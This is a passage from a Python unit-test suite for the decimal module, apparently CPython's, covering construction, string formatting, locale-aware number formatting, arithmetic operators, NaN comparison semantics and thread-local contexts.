self.assertTrue(Decimal(float('nan')).is_qnan()) self.assertTrue(Decimal(float('inf')).is_infinite()) self.assertTrue(Decimal(float('-inf')).is_infinite()) self.assertEqual(str(Decimal(float('nan'))), str(Decimal('NaN'))) self.assertEqual(str(Decimal(float('inf'))), str(Decimal('Infinity'))) self.assertEqual(str(Decimal(float('-inf'))), str(Decimal('-Infinity'))) self.assertEqual(str(Decimal(float('-0.0'))), str(Decimal('-0'))) for i in range(200): x = random.expovariate(0.01) * (random.random() * 2.0 - 1.0) self.assertEqual(x, float(Decimal(x))) # roundtrip def test_explicit_context_create_decimal(self): Decimal = self.decimal.Decimal InvalidOperation = self.decimal.InvalidOperation Rounded = self.decimal.Rounded nc = copy.copy(self.decimal.getcontext()) nc.prec = 3 # empty d = Decimal() self.assertEqual(str(d), '0') d = nc.create_decimal() self.assertEqual(str(d), '0') # from None self.assertRaises(TypeError, nc.create_decimal, None) # from int d = nc.create_decimal(456) self.assertIsInstance(d, Decimal) self.assertEqual(nc.create_decimal(45678), nc.create_decimal('457E+2')) # from string d = Decimal('456789') self.assertEqual(str(d), '456789') d = nc.create_decimal('456789') self.assertEqual(str(d), '4.57E+5') # leading and trailing whitespace should result in a NaN; # spaces are already checked in Cowlishaw's test-suite, so # here we just check that a trailing newline results in a NaN self.assertEqual(str(nc.create_decimal('3.14\n')), 'NaN') # from tuples d = Decimal( (1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25) ) self.assertEqual(str(d), '-4.34913534E-17') d = nc.create_decimal( (1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25) ) self.assertEqual(str(d), '-4.35E-17') # from Decimal prevdec = Decimal(500000123) d = Decimal(prevdec) self.assertEqual(str(d), '500000123') d = nc.create_decimal(prevdec) self.assertEqual(str(d), '5.00E+8') # more integers nc.prec = 28 nc.traps[InvalidOperation] = True for v in [-2**63-1, -2**63, -2**31-1, -2**31, 0, 2**31-1, 2**31, 2**63-1, 2**63]: d = nc.create_decimal(v) self.assertTrue(isinstance(d, Decimal)) self.assertEqual(int(d), v) nc.prec = 3 nc.traps[Rounded] = True self.assertRaises(Rounded, nc.create_decimal, 1234) # from string nc.prec = 28 self.assertEqual(str(nc.create_decimal('0E-017')), '0E-17') self.assertEqual(str(nc.create_decimal('45')), '45') self.assertEqual(str(nc.create_decimal('-Inf')), '-Infinity') self.assertEqual(str(nc.create_decimal('NaN123')), 'NaN123') # invalid arguments self.assertRaises(InvalidOperation, nc.create_decimal, "xyz") self.assertRaises(ValueError, nc.create_decimal, (1, "xyz", -25)) self.assertRaises(TypeError, nc.create_decimal, "1234", "5678") # no whitespace and underscore stripping is done with this method self.assertRaises(InvalidOperation, nc.create_decimal, " 1234") self.assertRaises(InvalidOperation, nc.create_decimal, "12_34") # too many NaN payload digits nc.prec = 3 self.assertRaises(InvalidOperation, nc.create_decimal, 'NaN12345') self.assertRaises(InvalidOperation, nc.create_decimal, Decimal('NaN12345')) nc.traps[InvalidOperation] = False self.assertEqual(str(nc.create_decimal('NaN12345')), 'NaN') self.assertTrue(nc.flags[InvalidOperation]) nc.flags[InvalidOperation] = False self.assertEqual(str(nc.create_decimal(Decimal('NaN12345'))), 'NaN') self.assertTrue(nc.flags[InvalidOperation]) def test_explicit_context_create_from_float(self): Decimal = self.decimal.Decimal nc = self.decimal.Context() r = nc.create_decimal(0.1) self.assertEqual(type(r), Decimal) self.assertEqual(str(r), '0.1000000000000000055511151231') self.assertTrue(nc.create_decimal(float('nan')).is_qnan()) self.assertTrue(nc.create_decimal(float('inf')).is_infinite()) self.assertTrue(nc.create_decimal(float('-inf')).is_infinite()) self.assertEqual(str(nc.create_decimal(float('nan'))), str(nc.create_decimal('NaN'))) self.assertEqual(str(nc.create_decimal(float('inf'))), str(nc.create_decimal('Infinity'))) self.assertEqual(str(nc.create_decimal(float('-inf'))), str(nc.create_decimal('-Infinity'))) self.assertEqual(str(nc.create_decimal(float('-0.0'))), str(nc.create_decimal('-0'))) nc.prec = 100 for i in range(200): x = random.expovariate(0.01) * (random.random() * 2.0 - 1.0) self.assertEqual(x, float(nc.create_decimal(x))) # roundtrip def test_unicode_digits(self): Decimal = self.decimal.Decimal test_values = { '\uff11': '1', '\u0660.\u0660\u0663\u0667\u0662e-\u0663' : '0.0000372', '-nan\u0c68\u0c6a\u0c66\u0c66' : '-NaN2400', } for input, expected in test_values.items(): self.assertEqual(str(Decimal(input)), expected) class CExplicitConstructionTest(ExplicitConstructionTest): decimal = C class PyExplicitConstructionTest(ExplicitConstructionTest): decimal = P class ImplicitConstructionTest(unittest.TestCase): '''Unit tests for Implicit Construction cases of Decimal.''' def test_implicit_from_None(self): Decimal = self.decimal.Decimal self.assertRaises(TypeError, eval, 'Decimal(5) + None', locals()) def test_implicit_from_int(self): Decimal = self.decimal.Decimal #normal self.assertEqual(str(Decimal(5) + 45), '50') #exceeding precision self.assertEqual(Decimal(5) + 123456789000, Decimal(123456789000)) def test_implicit_from_string(self): Decimal = self.decimal.Decimal self.assertRaises(TypeError, eval, 'Decimal(5) + "3"', locals()) def test_implicit_from_float(self): Decimal = self.decimal.Decimal self.assertRaises(TypeError, eval, 'Decimal(5) + 2.2', locals()) def test_implicit_from_Decimal(self): Decimal = self.decimal.Decimal self.assertEqual(Decimal(5) + Decimal(45), Decimal(50)) def test_rop(self): Decimal = self.decimal.Decimal # Allow other classes to be trained to interact with Decimals class E: def __divmod__(self, other): return 'divmod ' + str(other) def __rdivmod__(self, other): return str(other) + ' rdivmod' def __lt__(self, other): return 'lt ' + str(other) def __gt__(self, other): return 'gt ' + str(other) def __le__(self, other): return 'le ' + str(other) def __ge__(self, other): return 'ge ' + str(other) def __eq__(self, other): return 'eq ' + str(other) def __ne__(self, other): return 'ne ' + str(other) self.assertEqual(divmod(E(), Decimal(10)), 'divmod 10') self.assertEqual(divmod(Decimal(10), E()), '10 rdivmod') self.assertEqual(eval('Decimal(10) < E()'), 'gt 10') self.assertEqual(eval('Decimal(10) > E()'), 'lt 10') self.assertEqual(eval('Decimal(10) <= E()'), 'ge 10') self.assertEqual(eval('Decimal(10) >= E()'), 'le 10') self.assertEqual(eval('Decimal(10) == E()'), 'eq 10') self.assertEqual(eval('Decimal(10) != E()'), 'ne 10') # insert operator methods and then exercise them oplist = [ ('+', '__add__', '__radd__'), ('-', '__sub__', '__rsub__'), ('*', '__mul__', '__rmul__'), ('/', '__truediv__', '__rtruediv__'), ('%', '__mod__', '__rmod__'), ('//', '__floordiv__', '__rfloordiv__'), ('**', '__pow__', '__rpow__') ] for sym, lop, rop in oplist: setattr(E, lop, lambda self, other: 'str' + lop + str(other)) setattr(E, rop, lambda self, other: str(other) + rop + 'str') self.assertEqual(eval('E()' + sym + 'Decimal(10)'), 'str' + lop + '10') self.assertEqual(eval('Decimal(10)' + sym + 'E()'), '10' + rop + 'str') class CImplicitConstructionTest(ImplicitConstructionTest): decimal = C class PyImplicitConstructionTest(ImplicitConstructionTest): decimal = P class FormatTest(unittest.TestCase): '''Unit tests for the format function.''' def test_formatting(self): Decimal = self.decimal.Decimal # triples giving a format, a Decimal, and the expected result test_values = [ ('e', '0E-15', '0e-15'), ('e', '2.3E-15', '2.3e-15'), ('e', '2.30E+2', '2.30e+2'), # preserve significant zeros ('e', '2.30000E-15', '2.30000e-15'), ('e', '1.23456789123456789e40', '1.23456789123456789e+40'), ('e', '1.5', '1.5e+0'), ('e', '0.15', '1.5e-1'), ('e', '0.015', '1.5e-2'), ('e', '0.0000000000015', '1.5e-12'), ('e', '15.0', '1.50e+1'), ('e', '-15', '-1.5e+1'), ('e', '0', '0e+0'), ('e', '0E1', '0e+1'), ('e', '0.0', '0e-1'), ('e', '0.00', '0e-2'), ('.6e', '0E-15', '0.000000e-9'), ('.6e', '0', '0.000000e+6'), ('.6e', '9.999999', '9.999999e+0'), ('.6e', '9.9999999', '1.000000e+1'), ('.6e', '-1.23e5', '-1.230000e+5'), ('.6e', '1.23456789e-3', '1.234568e-3'), ('f', '0', '0'), ('f', '0.0', '0.0'), ('f', '0E-2', '0.00'), ('f', '0.00E-8', '0.0000000000'), ('f', '0E1', '0'), # loses exponent information ('f', '3.2E1', '32'), ('f', '3.2E2', '320'), ('f', '3.20E2', '320'), ('f', '3.200E2', '320.0'), ('f', '3.2E-6', '0.0000032'), ('.6f', '0E-15', '0.000000'), # all zeros treated equally ('.6f', '0E1', '0.000000'), ('.6f', '0', '0.000000'), ('.0f', '0', '0'), # no decimal point ('.0f', '0e-2', '0'), ('.0f', '3.14159265', '3'), ('.1f', '3.14159265', '3.1'), ('.4f', '3.14159265', '3.1416'), ('.6f', '3.14159265', '3.141593'), ('.7f', '3.14159265', '3.1415926'), # round-half-even! ('.8f', '3.14159265', '3.14159265'), ('.9f', '3.14159265', '3.141592650'), ('g', '0', '0'), ('g', '0.0', '0.0'), ('g', '0E1', '0e+1'), ('G', '0E1', '0E+1'), ('g', '0E-5', '0.00000'), ('g', '0E-6', '0.000000'), ('g', '0E-7', '0e-7'), ('g', '-0E2', '-0e+2'), ('.0g', '3.14159265', '3'), # 0 sig fig -> 1 sig fig ('.0n', '3.14159265', '3'), # same for 'n' ('.1g', '3.14159265', '3'), ('.2g', '3.14159265', '3.1'), ('.5g', '3.14159265', '3.1416'), ('.7g', '3.14159265', '3.141593'), ('.8g', '3.14159265', '3.1415926'), # round-half-even! ('.9g', '3.14159265', '3.14159265'), ('.10g', '3.14159265', '3.14159265'), # don't pad ('%', '0E1', '0%'), ('%', '0E0', '0%'), ('%', '0E-1', '0%'), ('%', '0E-2', '0%'), ('%', '0E-3', '0.0%'), ('%', '0E-4', '0.00%'), ('.3%', '0', '0.000%'), # all zeros treated equally ('.3%', '0E10', '0.000%'), ('.3%', '0E-10', '0.000%'), ('.3%', '2.34', '234.000%'), ('.3%', '1.234567', '123.457%'), ('.0%', '1.23', '123%'), ('e', 'NaN', 'NaN'), ('f', '-NaN123', '-NaN123'), ('+g', 'NaN456', '+NaN456'), ('.3e', 'Inf', 'Infinity'), ('.16f', '-Inf', '-Infinity'), ('.0g', '-sNaN', '-sNaN'), ('', '1.00', '1.00'), # test alignment and padding ('6', '123', ' 123'), ('<6', '123', '123 '), ('>6', '123', ' 123'), ('^6', '123', ' 123 '), ('=+6', '123', '+ 123'), ('#<10', 'NaN', 'NaN#######'), ('#<10', '-4.3', '-4.3######'), ('#<+10', '0.0130', '+0.0130###'), ('#< 10', '0.0130', ' 0.0130###'), ('@>10', '-Inf', '@-Infinity'), ('#>5', '-Inf', '-Infinity'), ('?^5', '123', '?123?'), ('%^6', '123', '%123%%'), (' ^6', '-45.6', '-45.6 '), ('/=10', '-45.6', '-/////45.6'), ('/=+10', '45.6', '+/////45.6'), ('/= 10', '45.6', ' /////45.6'), ('\x00=10', '-inf', '-\x00Infinity'), ('\x00^16', '-inf', '\x00\x00\x00-Infinity\x00\x00\x00\x00'), ('\x00>10', '1.2345', '\x00\x00\x00\x001.2345'), ('\x00<10', '1.2345', '1.2345\x00\x00\x00\x00'), # thousands separator (',', '1234567', '1,234,567'), (',', '123456', '123,456'), (',', '12345', '12,345'), (',', '1234', '1,234'), (',', '123', '123'), (',', '12', '12'), (',', '1', '1'), (',', '0', '0'), (',', '-1234567', '-1,234,567'), (',', '-123456', '-123,456'), ('7,', '123456', '123,456'), ('8,', '123456', ' 123,456'), ('08,', '123456', '0,123,456'), # special case: extra 0 needed ('+08,', '123456', '+123,456'), # but not if there's a sign (' 08,', '123456', ' 123,456'), ('08,', '-123456', '-123,456'), ('+09,', '123456', '+0,123,456'), # ... with fractional part... ('07,', '1234.56', '1,234.56'), ('08,', '1234.56', '1,234.56'), ('09,', '1234.56', '01,234.56'), ('010,', '1234.56', '001,234.56'), ('011,', '1234.56', '0,001,234.56'), ('012,', '1234.56', '0,001,234.56'), ('08,.1f', '1234.5', '01,234.5'), # no thousands separators in fraction part (',', '1.23456789', '1.23456789'), (',%', '123.456789', '12,345.6789%'), (',e', '123456', '1.23456e+5'), (',E', '123456', '1.23456E+5'), # issue 6850 ('a=-7.0', '0.12345', 'aaaa0.1'), # issue 22090 ('<^+15.20%', 'inf', '<<+Infinity%<<<'), ('\x07>,%', 'sNaN1234567', 'sNaN1234567%'), ('=10.10%', 'NaN123', ' NaN123%'), ] for fmt, d, result in test_values: self.assertEqual(format(Decimal(d), fmt), result) # bytes format argument self.assertRaises(TypeError, Decimal(1).__format__, b'-020') def test_n_format(self): Decimal = self.decimal.Decimal try: from locale import CHAR_MAX except ImportError: self.skipTest('locale.CHAR_MAX not available') def make_grouping(lst): return ''.join([chr(x) for x in lst]) if self.decimal == C else lst def get_fmt(x, override=None, fmt='n'): if self.decimal == C: return Decimal(x).__format__(fmt, override) else: return Decimal(x).__format__(fmt, _localeconv=override) # Set up some localeconv-like dictionaries en_US = { 'decimal_point' : '.', 'grouping' : make_grouping([3, 3, 0]), 'thousands_sep' : ',' } fr_FR = { 'decimal_point' : ',', 'grouping' : make_grouping([CHAR_MAX]), 'thousands_sep' : '' } ru_RU = { 'decimal_point' : ',', 'grouping': make_grouping([3, 3, 0]), 'thousands_sep' : ' ' } crazy = { 'decimal_point' : '&', 'grouping': make_grouping([1, 4, 2, CHAR_MAX]), 'thousands_sep' : '-' } dotsep_wide = { 'decimal_point' : b'\xc2\xbf'.decode('utf-8'), 'grouping': make_grouping([3, 3, 0]), 'thousands_sep' : b'\xc2\xb4'.decode('utf-8') } self.assertEqual(get_fmt(Decimal('12.7'), en_US), '12.7') self.assertEqual(get_fmt(Decimal('12.7'), fr_FR), '12,7') self.assertEqual(get_fmt(Decimal('12.7'), ru_RU), '12,7') self.assertEqual(get_fmt(Decimal('12.7'), crazy), '1-2&7') self.assertEqual(get_fmt(123456789, en_US), '123,456,789') self.assertEqual(get_fmt(123456789, fr_FR), '123456789') self.assertEqual(get_fmt(123456789, ru_RU), '123 456 789') self.assertEqual(get_fmt(1234567890123, crazy), '123456-78-9012-3') self.assertEqual(get_fmt(123456789, en_US, '.6n'), '1.23457e+8') self.assertEqual(get_fmt(123456789, fr_FR, '.6n'), '1,23457e+8') self.assertEqual(get_fmt(123456789, ru_RU, '.6n'), '1,23457e+8') self.assertEqual(get_fmt(123456789, crazy, '.6n'), '1&23457e+8') # zero padding self.assertEqual(get_fmt(1234, fr_FR, '03n'), '1234') self.assertEqual(get_fmt(1234, fr_FR, '04n'), '1234') self.assertEqual(get_fmt(1234, fr_FR, '05n'), '01234') self.assertEqual(get_fmt(1234, fr_FR, '06n'), '001234') self.assertEqual(get_fmt(12345, en_US, '05n'), '12,345') self.assertEqual(get_fmt(12345, en_US, '06n'), '12,345') self.assertEqual(get_fmt(12345, en_US, '07n'), '012,345') self.assertEqual(get_fmt(12345, en_US, '08n'), '0,012,345') self.assertEqual(get_fmt(12345, en_US, '09n'), '0,012,345') self.assertEqual(get_fmt(12345, en_US, '010n'), '00,012,345') self.assertEqual(get_fmt(123456, crazy, '06n'), '1-2345-6') self.assertEqual(get_fmt(123456, crazy, '07n'), '1-2345-6') self.assertEqual(get_fmt(123456, crazy, '08n'), '1-2345-6') self.assertEqual(get_fmt(123456, crazy, '09n'), '01-2345-6') self.assertEqual(get_fmt(123456, crazy, '010n'), '0-01-2345-6') self.assertEqual(get_fmt(123456, crazy, '011n'), '0-01-2345-6') self.assertEqual(get_fmt(123456, crazy, '012n'), '00-01-2345-6') self.assertEqual(get_fmt(123456, crazy, '013n'), '000-01-2345-6') # wide char separator and decimal point self.assertEqual(get_fmt(Decimal('-1.5'), dotsep_wide, '020n'), '-0\u00b4000\u00b4000\u00b4000\u00b4001\u00bf5') @run_with_locale('LC_ALL', 'ps_AF') def test_wide_char_separator_decimal_point(self): # locale with wide char separator and decimal point Decimal = self.decimal.Decimal decimal_point = locale.localeconv()['decimal_point'] thousands_sep = locale.localeconv()['thousands_sep'] if decimal_point != '\u066b': self.skipTest('inappropriate decimal point separator ' '({!a} not {!a})'.format(decimal_point, '\u066b')) if thousands_sep != '\u066c': self.skipTest('inappropriate thousands separator ' '({!a} not {!a})'.format(thousands_sep, '\u066c')) self.assertEqual(format(Decimal('100000000.123'), 'n'), '100\u066c000\u066c000\u066b123') def test_decimal_from_float_argument_type(self): class A(self.decimal.Decimal): def __init__(self, a): self.a_type = type(a) a = A.from_float(42.5) self.assertEqual(self.decimal.Decimal, a.a_type) a = A.from_float(42) self.assertEqual(self.decimal.Decimal, a.a_type) class CFormatTest(FormatTest): decimal = C class PyFormatTest(FormatTest): decimal = P class ArithmeticOperatorsTest(unittest.TestCase): '''Unit tests for all arithmetic operators, binary and unary.''' def test_addition(self): Decimal = self.decimal.Decimal d1 = Decimal('-11.1') d2 = Decimal('22.2') #two Decimals self.assertEqual(d1+d2, Decimal('11.1')) self.assertEqual(d2+d1, Decimal('11.1')) #with other type, left c = d1 + 5 self.assertEqual(c, Decimal('-6.1')) self.assertEqual(type(c), type(d1)) #with other type, right c = 5 + d1 self.assertEqual(c, Decimal('-6.1')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 += d2 self.assertEqual(d1, Decimal('11.1')) #inline with other type d1 += 5 self.assertEqual(d1, Decimal('16.1')) def test_subtraction(self): Decimal = self.decimal.Decimal d1 = Decimal('-11.1') d2 = Decimal('22.2') #two Decimals self.assertEqual(d1-d2, Decimal('-33.3')) self.assertEqual(d2-d1, Decimal('33.3')) #with other type, left c = d1 - 5 self.assertEqual(c, Decimal('-16.1')) self.assertEqual(type(c), type(d1)) #with other type, right c = 5 - d1 self.assertEqual(c, Decimal('16.1')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 -= d2 self.assertEqual(d1, Decimal('-33.3')) #inline with other type d1 -= 5 self.assertEqual(d1, Decimal('-38.3')) def test_multiplication(self): Decimal = self.decimal.Decimal d1 = Decimal('-5') d2 = Decimal('3') #two Decimals self.assertEqual(d1*d2, Decimal('-15')) self.assertEqual(d2*d1, Decimal('-15')) #with other type, left c = d1 * 5 self.assertEqual(c, Decimal('-25')) self.assertEqual(type(c), type(d1)) #with other type, right c = 5 * d1 self.assertEqual(c, Decimal('-25')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 *= d2 self.assertEqual(d1, Decimal('-15')) #inline with other type d1 *= 5 self.assertEqual(d1, Decimal('-75')) def test_division(self): Decimal = self.decimal.Decimal d1 = Decimal('-5') d2 = Decimal('2') #two Decimals self.assertEqual(d1/d2, Decimal('-2.5')) self.assertEqual(d2/d1, Decimal('-0.4')) #with other type, left c = d1 / 4 self.assertEqual(c, Decimal('-1.25')) self.assertEqual(type(c), type(d1)) #with other type, right c = 4 / d1 self.assertEqual(c, Decimal('-0.8')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 /= d2 self.assertEqual(d1, Decimal('-2.5')) #inline with other type d1 /= 4 self.assertEqual(d1, Decimal('-0.625')) def test_floor_division(self): Decimal = self.decimal.Decimal d1 = Decimal('5') d2 = Decimal('2') #two Decimals self.assertEqual(d1//d2, Decimal('2')) self.assertEqual(d2//d1, Decimal('0')) #with other type, left c = d1 // 4 self.assertEqual(c, Decimal('1')) self.assertEqual(type(c), type(d1)) #with other type, right c = 7 // d1 self.assertEqual(c, Decimal('1')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 //= d2 self.assertEqual(d1, Decimal('2')) #inline with other type d1 //= 2 self.assertEqual(d1, Decimal('1')) def test_powering(self): Decimal = self.decimal.Decimal d1 = Decimal('5') d2 = Decimal('2') #two Decimals self.assertEqual(d1**d2, Decimal('25')) self.assertEqual(d2**d1, Decimal('32')) #with other type, left c = d1 ** 4 self.assertEqual(c, Decimal('625')) self.assertEqual(type(c), type(d1)) #with other type, right c = 7 ** d1 self.assertEqual(c, Decimal('16807')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 **= d2 self.assertEqual(d1, Decimal('25')) #inline with other type d1 **= 4 self.assertEqual(d1, Decimal('390625')) def test_module(self): Decimal = self.decimal.Decimal d1 = Decimal('5') d2 = Decimal('2') #two Decimals self.assertEqual(d1%d2, Decimal('1')) self.assertEqual(d2%d1, Decimal('2')) #with other type, left c = d1 % 4 self.assertEqual(c, Decimal('1')) self.assertEqual(type(c), type(d1)) #with other type, right c = 7 % d1 self.assertEqual(c, Decimal('2')) self.assertEqual(type(c), type(d1)) #inline with decimal d1 %= d2 self.assertEqual(d1, Decimal('1')) #inline with other type d1 %= 4 self.assertEqual(d1, Decimal('1')) def test_floor_div_module(self): Decimal = self.decimal.Decimal d1 = Decimal('5') d2 = Decimal('2') #two Decimals (p, q) = divmod(d1, d2) self.assertEqual(p, Decimal('2')) self.assertEqual(q, Decimal('1')) self.assertEqual(type(p), type(d1)) self.assertEqual(type(q), type(d1)) #with other type, left (p, q) = divmod(d1, 4) self.assertEqual(p, Decimal('1')) self.assertEqual(q, Decimal('1')) self.assertEqual(type(p), type(d1)) self.assertEqual(type(q), type(d1)) #with other type, right (p, q) = divmod(7, d1) self.assertEqual(p, Decimal('1')) self.assertEqual(q, Decimal('2')) self.assertEqual(type(p), type(d1)) self.assertEqual(type(q), type(d1)) def test_unary_operators(self): Decimal = self.decimal.Decimal self.assertEqual(+Decimal(45), Decimal(+45)) # + self.assertEqual(-Decimal(45), Decimal(-45)) # - self.assertEqual(abs(Decimal(45)), abs(Decimal(-45))) # abs def test_nan_comparisons(self): # comparisons involving signaling nans signal InvalidOperation # order comparisons (<, <=, >, >=) involving only quiet nans # also signal InvalidOperation # equality comparisons (==, !=) involving only quiet nans # don't signal, but return False or True respectively. Decimal = self.decimal.Decimal InvalidOperation = self.decimal.InvalidOperation localcontext = self.decimal.localcontext n = Decimal('NaN') s = Decimal('sNaN') i = Decimal('Inf') f = Decimal('2') qnan_pairs = (n, n), (n, i), (i, n), (n, f), (f, n) snan_pairs = (s, n), (n, s), (s, i), (i, s), (s, f), (f, s), (s, s) order_ops = operator.lt, operator.le, operator.gt, operator.ge equality_ops = operator.eq, operator.ne # results when InvalidOperation is not trapped for x, y in qnan_pairs + snan_pairs: for op in order_ops + equality_ops: got = op(x, y) expected = True if op is operator.ne else False self.assertIs(expected, got, "expected {0!r} for operator.{1}({2!r}, {3!r}); " "got {4!r}".format( expected, op.__name__, x, y, got)) # repeat the above, but this time trap the InvalidOperation with localcontext() as ctx: ctx.traps[InvalidOperation] = 1 for x, y in qnan_pairs: for op in equality_ops: got = op(x, y) expected = True if op is operator.ne else False self.assertIs(expected, got, "expected {0!r} for " "operator.{1}({2!r}, {3!r}); " "got {4!r}".format( expected, op.__name__, x, y, got)) for x, y in snan_pairs: for op in equality_ops: self.assertRaises(InvalidOperation, operator.eq, x, y) self.assertRaises(InvalidOperation, operator.ne, x, y) for x, y in qnan_pairs + snan_pairs: for op in order_ops: self.assertRaises(InvalidOperation, op, x, y) def test_copy_sign(self): Decimal = self.decimal.Decimal d = Decimal(1).copy_sign(Decimal(-2)) self.assertEqual(Decimal(1).copy_sign(-2), d) self.assertRaises(TypeError, Decimal(1).copy_sign, '-2') class CArithmeticOperatorsTest(ArithmeticOperatorsTest): decimal = C class PyArithmeticOperatorsTest(ArithmeticOperatorsTest): decimal = P # The following are two functions used to test threading in the next class def thfunc1(cls): Decimal = cls.decimal.Decimal InvalidOperation = cls.decimal.InvalidOperation DivisionByZero = cls.decimal.DivisionByZero Overflow = cls.decimal.Overflow Underflow = cls.decimal.Underflow Inexact = cls.decimal.Inexact getcontext = cls.decimal.getcontext localcontext = cls.decimal.localcontext d1 = Decimal(1) d3 = Decimal(3) test1 = d1/d3 cls.finish1.set() cls.synchro.wait() test2 = d1/d3 with localcontext() as c2: cls.assertTrue(c2.flags[Inexact]) cls.assertRaises(DivisionByZero, c2.divide, d1, 0) cls.assertTrue(c2.flags[DivisionByZero]) with localcontext() as c3: cls.assertTrue(c3.flags[Inexact]) cls.assertTrue(c3.flags[DivisionByZero]) cls.assertRaises(InvalidOperation, c3.compare, d1, Decimal('sNaN')) cls.assertTrue(c3.flags[InvalidOperation]) del c3 cls.assertFalse(c2.flags[InvalidOperation]) del c2 cls.assertEqual(test1, Decimal('0.333333333333333333333333')) cls.assertEqual(test2, Decimal('0.333333333333333333333333')) c1 = getcontext() cls.assertTrue(c1.flags[Inexact]) for sig in Overflow, Underflow, DivisionByZero, InvalidOperation: cls.assertFalse(c1.flags[sig]) def thfunc2(cls): Decimal = cls.decimal.Decimal InvalidOperation = cls.decimal.InvalidOperation DivisionByZero = cls.decimal.DivisionByZero Overflow = cls.decimal.Overflow Underflow = cls.decimal.Underflow Inexact = cls.decimal.Inexact getcontext = cls.decimal.getcontext localcontext = cls.decimal.localcontext d1 = Decimal(1) d3 = Decimal(3) test1 = d1/d3 thiscontext = getcontext() thiscontext.prec = 18 test2 = d1/d3 with localcontext() as c2: cls.assertTrue(c2.flags[Inexact]) cls.assertRaises(Overflow, c2.multiply, Decimal('1e425000000'), 999) cls.assertTrue(c2.flags[Overflow]) with localcontext(thiscontext) as c3: cls.assertTrue(c3.flags[Inexact]) cls.assertFalse(c3.flags[Overflow]) c3.traps[Underflow] = True cls.assertRaises(Underflow, c3.divide, Decimal('1e-425000000'), 999) cls.assertTrue(c3.flags[Underflow]) del c3 cls.assertFalse(c2.flags[Underflow]) cls.assertFalse(c2.traps[Underflow]) del c2 cls.synchro.set() cls.finish2.set() cls.assertEqual(test1, Decimal('0.333333333333333333333333')) cls.assertEqual(test2, Decimal('0.333333333333333333')) cls.assertFalse(thiscontext.traps[Underflow]) cls.assertTrue(thiscontext.flags[Inexact]) for sig in Overflow, Underflow, DivisionByZero, InvalidOperation: cls.assertFalse(thiscontext.flags[sig]) class ThreadingTest(unittest.TestCase): '''Unit tests for thread local contexts in Decimal.''' # Take care executing this test from IDLE, there's an issue in threading # that hangs IDLE and I couldn't find it def test_threading(self): DefaultContext = self.decimal.DefaultContext if self.decimal == C and not self.decimal.HAVE_THREADS: self.skipTest("compiled without threading") # Test the "threading isolation" of a Context. Also test changing # the DefaultContext, which acts as a template for the thread-local # contexts. save_prec = DefaultContext.prec save_emax = DefaultContext.Emax save_emin = DefaultContext.Emin DefaultContext.prec = 24 DefaultContext.Emax = 425000000 DefaultContext.Emin = -425000000 self.synchro = threading.Event() self.finish1 = threading.Event() self.finish2 = threading.Event() th1 = threading.Thread(target=thfunc1, args=(self,)) th2 = threading.Thread(target=thfunc2, args=(self,)) th1.start() th2.start() self.finish1.wait() self.finish2.wait() for sig in Signals[self.decimal]: self.assertFalse(DefaultContext.flags[sig]) th1.join() th2.join() DefaultContext.prec = save_prec DefaultContext.Emax = save_emax DefaultContext.Emin = save_emin class CThreadingTest(ThreadingTest): decimal = C class PyThreadingTest(ThreadingTest): decimal = P class UsabilityTest(unittest.TestCase): '''Unit tests for Usability cases of Decimal.''' def test_comparison_operators(self): Decimal = self.decimal.Decimal da = Decimal('23.42') db = Decimal('23.42') dc = Decimal('45') #two Decimals self.assertGreater(dc, da) self.assertGreaterEqual(dc, da) self.assertLess(da, dc) self.assertLessEqual(da, dc) self.assertEqual(da, db) self.assertNotEqual(da, dc) self.assertLessEqual(da, db) self.assertGreaterEqual(da, db) #a Decimal and an int self.assertGreater(dc, 23) self.assertLess(23, dc) self.assertEqual(dc, 45) #a Decimal and uncomparable self.assertNotEqual(da, 'ugly') self.assertNotEqual(da, 32.7) self.assertNotEqual(da, object()) self.assertNotEqual(da, object) # sortable a = list(map(Decimal, range(100))) b = a[:] random.shuffle(a) a.sort() self.assertEqual(a, b) def test_decimal_float_comparison(self): Decimal = self.decimal.Decimal da = Decimal('0.25') db = Decimal('3.0') self.assertLess(da, 3.0) self.assertLessEqual(da, 3.0) self.assertGreater(db, 0.25) self.assertGreaterEqual(db, 0.25) self.assertNotEqual(da, 1.5) self.assertEqual(da, 0.25) self.assertGreater(3.0, da) self.assertGreaterEqual(3.0, da) self.assertLess(0.25, db) self.assertLessEqual(0.25, db) self.assertNotEqual(0.25, db) self.assertEqual(3.0, db) self.assertNotEqual(0.1, Decimal('0.1')) def test_decimal_complex_comparison(self): Decimal = self.decimal.Decimal da = Decimal('0.25') db = Decimal('3.0') self.assertNotEqual(da, (1.5+0j)) self.assertNotEqual((1.5+0j), da) self.assertEqual(da, (0.25+0j)) self.assertEqual((0.25+0j), da) self.assertEqual((3.0+0j), db) self.assertEqual(db, (3.0+0j)) self.assertNotEqual(db, (3.0+1j)) self.assertNotEqual((3.0+1j), db) self.assertIs(db.__lt__(3.0+0j), NotImplemented) self.assertIs(db.__le__(3.0+0j), NotImplemented) self.assertIs(db.__gt__(3.0+0j), NotImplemented) self.assertIs(db.__le__(3.0+0j), NotImplemented) def test_decimal_fraction_comparison(self): D = self.decimal.Decimal F = fractions[self.decimal].Fraction Context = self.decimal.Context localcontext = self.decimal.localcontext InvalidOperation = self.decimal.InvalidOperation emax = C.MAX_EMAX if C else 999999999 emin = C.MIN_EMIN if C else -999999999 etiny = C.MIN_ETINY if C else -1999999997 c = Context(Emax=emax, Emin=emin) with localcontext(c): c.prec = emax self.assertLess(D(0), F(1,9999999999999999999999999999999999999)) self.assertLess(F(-1,9999999999999999999999999999999999999), D(0)) self.assertLess(F(0,1), D("1e" + str(etiny))) self.assertLess(D("-1e" + str(etiny)), F(0,1)) self.assertLess(F(0,9999999999999999999999999), D("1e" + str(etiny))) self.assertLess(D("-1e" + str(etiny)), F(0,9999999999999999999999999)) self.assertEqual(D("0.1"), F(1,10)) self.assertEqual(F(1,10), D("0.1")) c.prec = 300 self.assertNotEqual(D(1)/3, F(1,3)) self.assertNotEqual(F(1,3), D(1)/3) self.assertLessEqual(F(120984237, 9999999999), D("9e" + str(emax))) self.assertGreaterEqual(D("9e" + str(emax)), F(120984237, 9999999999)) self.assertGreater(D('inf'), F(99999999999,123)) self.assertGreater(D('inf'), 